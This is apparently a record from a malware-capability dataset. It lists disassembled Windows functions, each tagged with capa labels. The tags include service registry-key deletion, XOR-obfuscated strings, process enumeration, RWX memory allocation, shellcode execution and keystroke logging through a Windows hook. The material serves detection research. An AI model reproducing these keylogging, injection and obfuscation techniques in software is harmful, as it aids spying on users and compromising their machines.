joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140078fe0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
lea rcx, [0x1400b39a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140079182
mov r8, rdi
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp - 0x38]
call fcn.140078b40
nop
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x18]
call sub.ntdll.dll_RtlInitUnicodeString
mov r8, rdi
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x58]
call fcn.140078b40
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
lea r8, [rbp - 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140079089
cmp eax, 2
sete bl
jmp 0x1400790e6
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x1400b0940]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
call rax
lea rdx, [rbp - 0x58]
mov rcx, 0xffffffff80000002
test eax, eax
je 0x1400790cc
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor bl, bl
jmp 0x1400790e6
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x1400790e4
xor bl, bl
jmp 0x1400790e6
mov bl, 1
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140079129
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140079124
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140079124
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
movdqa xmm0, xmmword [0x1400b4600]
movdqu xmmword [rbp - 0x48], xmm0
xor eax, eax
mov word [rbp - 0x58], ax
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14007917f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007917a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007917a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
movzx eax, bl
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140099880
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140079470
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r13, rdx
mov rbp, rcx
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rdi + rcx], 0
jne 0x140079497
movsxd rcx, dword [rdx + 0x3c]
lea r12, [rdx + 0x18]
add r12, rcx
mov qword [rsp + 0x50], rbx
xor esi, esi
movzx eax, word [rcx + rdx + 0x14]
movzx r14d, word [rcx + rdx + 6]
add r12, rax
cmp si, r14w
jae 0x140079506
nop word [rax + rax]
lea rcx, [rsi + rsi*4]
mov r8, rdi
lea rbx, [r12 + rcx*8]
mov rdx, rbp
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400794ff
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400794f1
cmp rdi, rax
je 0x140079525
inc esi
cmp esi, r14d
jb 0x1400794d0
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp dword [rbx + 0xc], 0
je 0x140079506
test r15, r15
je 0x140079536
mov eax, dword [rbx + 8]
mov dword [r15], eax
mov eax, dword [rbx + 0xc]
add rax, r13
jmp 0x140079508

Function at 0x140079540
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x20a
xor edi, edi
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x30]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x104
ja 0x1400795f1
mov r8, 0xffffffffffffffff
lea rcx, [rsp + 0x30]
mov rax, r8
cmp word [rcx + rax*2 + 2], di
lea rax, [rax + 1]
jne 0x1400795a3
cmp word [rsp + rax*2 + 0x2e], 0x5c
jne 0x1400795cb
lea rax, [rax*2 - 2]
cmp rax, 0x20a
jae 0x140079635
mov word [rsp + rax + 0x30], di
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
nop
inc r8
cmp word [rax + r8*2], di
jne 0x1400795e0
lea rdx, [rsp + 0x30]
jmp 0x140079609
xorps xmm0, xmm0
lea rdx, [0x1400b3914]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
xor r8d, r8d
mov qword [rbx + 0x18], rdi
mov rcx, rbx
call fcn.140074030
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140099880
mov rbx, qword [rsp + 0x268]
add rsp, 0x250
pop rdi
ret
call fcn.140099f18
int3
Function at 0x140079640
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x50
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rcx
lea r9, [rsp + 0x20]
xor r14d, r14d
mov ecx, 0xb
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
mov ebx, r14d
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400796d0
test rbx, rbx
je 0x140079697
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140079681
test eax, eax
jns 0x1400796f1
test rbx, rbx
je 0x1400796f6
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1400797f7
test rbx, rbx
jne 0x1400796fd
xor eax, eax
jmp 0x1400797f7
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x80], rdi
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x1400797d7
nop word [rax + rax]
mov eax, edi
xorps xmm0, xmm0
imul rcx, rax, 0x128
movups xmmword [rsp + 0x28], xmm0
movzx edx, word [rcx + rbx + 0x2e]
lea rbp, [rcx + rbx]
add rdx, 0x30
mov qword [rsp + 0x38], r14
add rdx, rcx
mov qword [rsp + 0x40], r14
add rdx, rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140079755
lea rcx, [rsp + 0x28]
call fcn.140035750
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x140079775
mov rdx, qword [rsi]
cmp qword [rsp + 0x40], 0xf
lea rcx, [rsp + 0x28]
cmova rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14007980d
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1400797cd
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400797c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140079856
call fcn.1400999e0
inc edi
cmp edi, dword [rbx]
jb 0x140079720
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140099880
add rsp, 0x50
pop r14
pop rsi
pop rbx
ret
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140079862
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007985d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007985d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
mov rax, rdi
jmp 0x1400797ea
Function at 0x14007b6a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
xor esi, esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14007b729
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14007b729
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14007b725
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14007b700
jmp 0x14007b729
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140099880
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14007b760
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
movups xmm3, xmmword [str.ohejyYU:__QZ_]
pextrw eax, xmm3, 7
movups xmmword [rsp + 0x40], xmm3
test ax, ax
je 0x14007b8a2
xor ecx, ecx
cmp dword [0x140238558], 2
jl 0x14007b86b
movdqa xmm2, xmmword [0x1400b4620]
movdqa xmm4, xmmword [0x1400b10d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1400b4630]
paddw xmm2, xmmword [0x1400b46a0]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666]
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1400b46a0]
xorps xmm2, xmm0
movq qword [rsp + 0x48], xmm2
jmp 0x14007b8a2
lea r8, [rsp + 0x40]
mov eax, 0x2f684bdb
lea r8, [r8 + 2]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul edx, eax, 0x36
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x33
xor word [r8 - 2], ax
cmp ecx, 8
jl 0x14007b870
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14007b8e8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x58
ret
xor al, al
add rsp, 0x58
ret
Function at 0x14007c050
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
cmp word [0x1400b0a6a], 0
mov r12, r8
movups xmm0, xmmword [str.__QZ_]
mov eax, dword [0x1400b0a68]
mov r15, rdx
mov esi, ecx
mov dword [rsp + 0x30], eax
movups xmmword [rsp + 0x20], xmm0
je 0x14007c0d4
xor word [rsp + 0x22], 0x34
mov eax, 0x6e
xor word [rsp + 0x24], 0x35
xor word [rsp + 0x26], 0x36
xor word [rsp + 0x28], 0x37
xor word [rsp + 0x2a], 0x38
xor word [rsp + 0x2c], 0x39
xor word [rsp + 0x2e], 0x3a
xor word [rsp + 0x30], 0x3b
xor word [rsp + 0x32], 0x3c
mov word [rsp + 0x20], ax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140038de0
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140038c00
mov edx, 0x74
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov r13, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x140238390]
lea rbp, [r13 + 0x5c]
mov r14, rax
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1402383a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1402383b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1402383c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1402383e0]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x1402383e8]
mov dword [rax + 0x58], ecx
mov eax, dword [0x1402383ec]
mov qword [rax + r14], rbp
mov qword [r14 + 0x6c], r15
mov eax, dword [r12 + 0x28]
add rax, r15
mov qword [r14 + 0x64], rax
call fcn.140038de0
mov r9d, 0x74
mov r8, r14
mov rdx, r13
mov rcx, rax
call fcn.140038e50
mov r9d, esi
mov r8, rbx
mov rdx, r13
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [r14 + 0x5c], 2
mov rbx, rax
je 0x14007c1fc
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, esi
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140038de0
mov r9d, 0x18
lea r8, [r14 + 0x5c]
mov rdx, rbp
mov rcx, rax
call fcn.140038d30
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [r14 + 0x5c], 2
jne 0x14007c1c0
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140038de0
mov rdx, r13
mov rcx, rax
call fcn.140038ca0
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]
sub eax, 0xf8450581
pop rbx
int3
or byte [rsi + rdx*4 + 0x2ea73e36], dl
rol dword cs:[rsp + rdi - 0x45ac9bcf], cl
cmp dl, al
invalid

Function at 0x14007c420
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x20]
lea rcx, [0x14007c2f0]
mov qword [rsp + 0x28], 0
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140099880
add rsp, 0x48
ret
Function at 0x14007cb60
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rdi
sub rsp, 0x2c0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor ebx, ebx
mov edx, 0x100
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
movups xmm0, xmmword [0x1400b0b20]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400b0b30]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400b0b40]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400b0b50]
movups xmmword [rsp + 0x80], xmm1
cmp dword [0x140238558], 2
jl 0x14007ccf7
movdqa xmm5, xmmword [0x1400b4620]
movdqa xmm4, xmmword [0x1400b10d0]
movdqa xmm6, xmmword [str.6666]
movdqa xmm7, xmmword [0x1400b46a0]
lea rcx, [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
cmp ebx, 0x20
jl 0x14007cc10
jmp 0x14007cd31
lea r8, [rsp + 0x50]
nop dword [rax]
mov eax, 0x2f684bdb
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x36
movzx eax, bx
sub ax, cx
add ax, 0x33
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x20
jl 0x14007cd00
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rax, [rsp + 0x90]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x14007cd51
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x28]
call fcn.140074030
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.140034ff0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x14007cdc7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cdc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007cdc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
mov rax, rdi
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140099880
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14007cfe0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140238500]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14007d039
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x14007d040
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x14007d07e
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14007d063
inc rax
test ecx, ecx
jne 0x14007d050
mov rcx, rbx
test edx, edx
je 0x14007d076
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
jmp 0x14007d02c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140099880
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x14007d6b0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r14
push r15
mov r15, rcx
mov r14, r8
mov rbp, rdx
sub r15, qword [r8 + 0x30]
je 0x14007d83f
test byte [r8 + 0x5e], 0x40
jne 0x14007d6d8
xor eax, eax
pop r15
pop r14
pop rbp
ret
movzx edx, word [r14 + 0x14]
movzx eax, word [r14 + 6]
add rdx, 0x18
mov r8d, dword [r8 + 0xb0]
add rdx, r14
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14007d83f
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14007d713
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14007d727
add rdx, 0x28
cmp rdx, r9
jb 0x14007d701
mov eax, 1
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 0x30], rdi
mov edi, dword [rdx + 0x14]
sub rdi, rcx
mov qword [rsp + 0x38], r12
mov r12d, dword [r14 + 0xb4]
add rdi, r8
add rdi, rbp
add r12, rdi
test rdi, rdi
je 0x14007d835
cmp rdi, r12
jae 0x14007d835
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rsi
mov eax, dword [rdi + 4]
test eax, eax
je 0x14007d82b
add eax, 0xfffffff8
shr eax, 1
je 0x14007d81c
lea rbx, [rdi + 8]
mov esi, eax
nop
movzx r9d, word [rbx]
movzx eax, r9w
shr ax, 0xc
and r9d, 0x80000fff
jge 0x14007d7a2
dec r9d
or r9d, 0xfffff000
inc r9d
cmp ax, 3
je 0x14007d7ae
cmp ax, 0xa
jne 0x14007d80e
movzx r11d, word [r14 + 0x14]
movzx r8d, word [r14 + 6]
add r11, 0x18
mov r10d, dword [rdi]
add r11, r14
mov rax, r11
lea rcx, [r8 + r8*4]
lea rdx, [r11 + rcx*8]
cmp r11, rdx
jae 0x14007d803
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x14007d7e4
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x14007d7f5
lea rdx, [r8 + r8*4]
add rax, 0x28
lea rcx, [r11 + rdx*8]
cmp rax, rcx
jmp 0x14007d7d0
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r10
add rcx, rbp
jne 0x14007d806
mov rcx, rbp
movzx eax, r9w
add qword [rax + rcx], r15
add rbx, 2
sub rsi, 1
jne 0x14007d780
mov eax, dword [rdi + 4]
add rdi, rax
cmp rdi, r12
jb 0x14007d763
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov eax, 1
pop r15
pop r14
pop rbp
ret
Function at 0x140085f30
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x140085f64
mov eax, esi
lea ecx, [rax + 0x46]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x140085f50
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140037610
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140085f89
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140092660
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140086003
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140085ffe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140085ffe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140086010
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x140086044
mov eax, esi
lea ecx, [rax + 0x46]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x140086030
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140037610
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140086069
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140092660
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400860e3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400860de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400860de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
mov rax, rdi
